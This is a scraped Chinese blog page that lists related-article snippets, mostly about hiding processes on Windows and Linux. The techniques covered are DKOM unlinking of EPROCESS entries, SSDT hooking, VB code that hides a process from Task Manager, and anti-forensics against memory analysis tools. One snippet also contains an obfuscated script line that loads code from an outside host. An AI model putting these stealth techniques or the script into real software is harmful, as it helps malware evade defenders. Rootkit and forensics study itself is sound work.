文件中包含内核驱动文件及代码、应用层演示程序及代码。实现了直接操作内核对象从而实现进程的隐藏即DKOM方式

NT内核级进程隐藏2-Hook SSDT及EPROCESS

通过Hook SSDT (System Service Dispath Table) 隐藏进程 1.原理介绍: Windows操作系统是一种分层的架构体系。应用层的程序是通过API来访问操作系统。而API又是通过ntdll里面的核心API来进行系统服务的查询。核心API通过对int 2e的切换,从用户模式转换到内核模式。2Eh中断的功能是通过NTOSKRNL.EXE的一个函数KiSystemSe...

weixin_33721344的博客 255

进程隐藏工具--内核驱动实现

可以实现进程的遍历和隐藏,自己写的,希望大家批评指正,谢谢!

如何查找被隐藏进程

RING0级暴力搜索内存检测系统隐藏进程(或ROOTKIT) http://www.cppblog.com/Tinpont/archive/2010/12/17/136738.aspx

lei35151的专栏 1884

黏菌算法(Slime Mould Algorithm,SMA)

这是一篇关于黏菌算法的总结博客,包含算法思想,算法步骤,求函数最值(Python实现),算法改进等,持续更新ing

weixin_46838605的博客 1万+

无刷直流电机矢量控制(四):基于滑模观测器的无传感器控制

无刷直流电机矢量控制,采用转速、电流双环控制,电流环dq解耦,d轴采用id=0控制,q轴采用转速外环。采用滑模观测器(SMO),根据电压电流信息进行电机位置角度动态估算,模型可直接运行,转速和角度跟踪精度较高。 本文整理了该方法的基本原理,介绍了在MATLAB/Simulink中的建模和仿真过程,最后附上完整的模型文件。 一、基本原理 滑模观测器(下文简称SMO)是基于滑模变结构控制方法的一种状态观测器。其针对无刷直流电机转子位置估算的实现过程如下。 假设采用矢量控...

Forster-C的博客 6865

DKOM.修改双向链表隐藏进程.

DKOM即"直接内核对象操作",关于修改双向链表隐藏进程.网上和书刊上几乎都照抄了>一书,我发牢骚的是老外在修改链表时的精简代码看得莫名其妙.可能我太菜了吧对数据结构不熟悉,不过记得>的作者都说了,一行代码尽量干一件事情,表达一目了然.所以我自己重新写了一份.#include "ntddk.h"void Unload(IN PDRIVER_OBJECT DO){ DbgPrint("this is Unload!");}char* GetProcessNameByEPROCESS(ULONG ulAddr)

稳到死内核 1742

十二、基于FPGA实现slave SelectMAP配置逻辑

slave SelectMAP配置

weixin_41838250的博客 8753

驱动开发:摘链DKOM进程隐藏

DKOM 即直接内核对象操作,我们所有的操作都会被系统记录在内存中,而驱动进程隐藏就是操作进程的EPROCESS结构与线程的ETHREAD结构、链表,要实现进程的隐藏我们只需要将某个进程中的信息,在系统EPROCESS链表中摘除即可实现进程隐藏。得到句柄以后直接摘除进程的结构即可实现隐藏,该代码只找了Win10系统下的偏移地址,故只能在Win10下使用。结构体中包含了系统中的所有进程相关信息,通过WinDBG在内核调试模式下输入。在实现进程隐藏之前,需要通过代码的方式获取到当前系统中所有进程。

微软技术分享 1万+

三、分区配置

rk3566/rk3568 修改分区

暮云星影的博客 514

从CAD图纸到GIS地图:手把手教你用Global Mapper处理DWG文件(含坐标配准)

本文详细介绍了如何使用Global Mapper将CAD图纸(DWG文件)转换为GIS地图,包括坐标配准、图层与属性转换等关键步骤。通过四参数变换和控制点匹配技术,确保数据精准转换,适用于测绘、城市规划等领域。文章还提供了高级处理技巧和质量控制流程,帮助用户高效完成GIS化工作。

weixin_29196891的博客 521

vb中如何在任务管理器里面隐藏应用程序进程

该模块用于在任务管理器中隐藏进程Private Const STATUS_INFO_LENGTH_MISMATCH = &HC0000004Private Const STATUS_ACCESS_DENIED = &HC0000022Private Const STATUS_INVALID_HANDLE = &HC0000008Private Const ERROR_SUCCESS = 0&Pr

csgsred的专栏 1013

【深度学习基础】Temporal Fusion Transformer

从下向上看:全连接(Dense) → ELU(指数线性激活函数(比relu好点,有利于模型收敛)) → 全连接(Dense) → 门控线性单元(Gate)(Gated Linear Units (GLUs)) → Layernorm。:一方面,它可以进行静态上下文变量和动态变量的融合,另一方面,通过门控进行了特征选择操作,门控体现在GLU(门控线性单元)中,用了sigmoid控制信息的通过程度,具有良好的适应性,能够自动选择有效信息,自适应地调整网络复杂性。输入:主输入,可选的上下文向量c。

weixin_41838721的博客 1224

'在进程列表中隐藏当前应用程序进程

Public Sub HideCurrentProcess()在进程列表中隐藏当前应用程序进程    Dim thread As Long, process As Long, fw As Long, bw As Long    Dim lOffsetFlink As Long, lOffsetBlink As Long, lOffsetPID As Long        ver

HELANSHI的专栏 1717

解读(DivideMix)DIVIDEMIX: LEARNING WITH NOISY LABELS AS SEMI-SUPERVISED LEARNING

这是Salesforce在今年年初出的一篇关于半监督学习的文章被ICLR 2020收录,目前还保持在SOTA状态。 文章主要做了两点工作: • 提出了一个co-divide方法。 • 利用label co-refinement 和co-guessing 改善之前的谷歌提出的MixMatch方法 1.co-divide方法 大概思路:同时训练两个网络,让每个网络在样本损失分布上去拟合GMM模型,并利用GMM模型,将训练数据分为标签数据和未标签数据,co-divide 使前面分的标签与未标签数据分别在

so 5041

PCL 加权局部最优投影(WLOP)简化算法

WLOP算法是一种点云重采样方法,通过迭代优化实现点云均匀化和特征保留。算法包含数据项(加权平均位置保持几何特征)和正则化项(排斥邻近点实现均匀分布)两部分。代码实现基于PCL库,通过KD树加速邻域搜索,使用高斯权重函数计算点位置更新。参数包括输出点比例、邻域半径、正则化权重和迭代次数。该算法不依赖网格信息,适合处理大规模扫描数据的预处理优化。

点云侠的博客 628

HideProcess.cpp

 HTML Tags and JavaScript tutorialvar encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);

609

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

句柄是什么呢

Windows系统中有许多内核对象(这里的对象不完全等价于"面向对象程序设计"一词中的"对象",虽然实质上还真差不多),比如打开的文件,创建的线程,程序的窗口,等等。这些重要的对象肯定不是4个字节或者8个字节足以完全描述的,他们拥有大量的属性。所以,Windows操作系统就采用进一步的间接(可以理解为进一步的抽象的过程):在进程的地址空间中设一张表,表里头专门保存一些编号和由这个编号对应一个地址,而由那个地址去引用实际的对象,这个编号跟那个地址在数值上没有任何规律性的联系,纯粹是个映射而已。

youhuidier的博客 266

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

FUTo: Bypassing Blacklight and IceSword

By: petersilberman  This article was released in the Uninformed Journal Vol 3. It is important to remember that this article displays Proof of Concept (POC) ideas and code. FUTo may result in spec

1万+

反取证技术:对抗Volatility 3和现代内存取证工具的实战指南

如果攻击者的后门能通过反取证技术将自身从进程链表、网络连接列表等关键结构中“摘除”,那么蓝队的初步排查将一无所获,为攻击者争取到宝贵的活动时间,甚至使其长期潜伏而不被发现。而反取证技术,就相当于攻击者偷偷修改了这本台账:比如,直接将记录恶意进程(“危险品”)的那一页撕掉。在真实攻击中,攻击者会利用自带的、签名的或偷来的驱动程序,或者利用已知的驱动漏洞来实现任意内核内存读写,从而完成这些操作。指针,恶意进程B被成功地从内核的活动进程链表中“断开”,导致依赖此链表进行遍历的取证工具无法发现它。

Alfadi联盟 萧瑶的博客 630

应急响应之Linux下进程隐藏

当黑客获取系统 root 权限时,为了实现持久化控制往往会创建隐藏恶意进程,这给应急响应人员取证的时候带来了难度,隐藏进程的方法分为两类,一类是用户态隐藏,另一类是内核态隐藏。用户态常使用的方法有很多,例如劫持预加载动态链接库,一般通过设置环境变量 LD_PRELOAD 或者 /etc/ld.so.preload,过滤 /proc/pid 目录、修改进程 PID 等等。

白帽子凯哥聊黑客 2616
上一篇: 第三方二进制汇编代码在VC中的移植和应用
下一篇: 谈谈对于SSDT中的API进行双层HOOK的通用处理模式
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值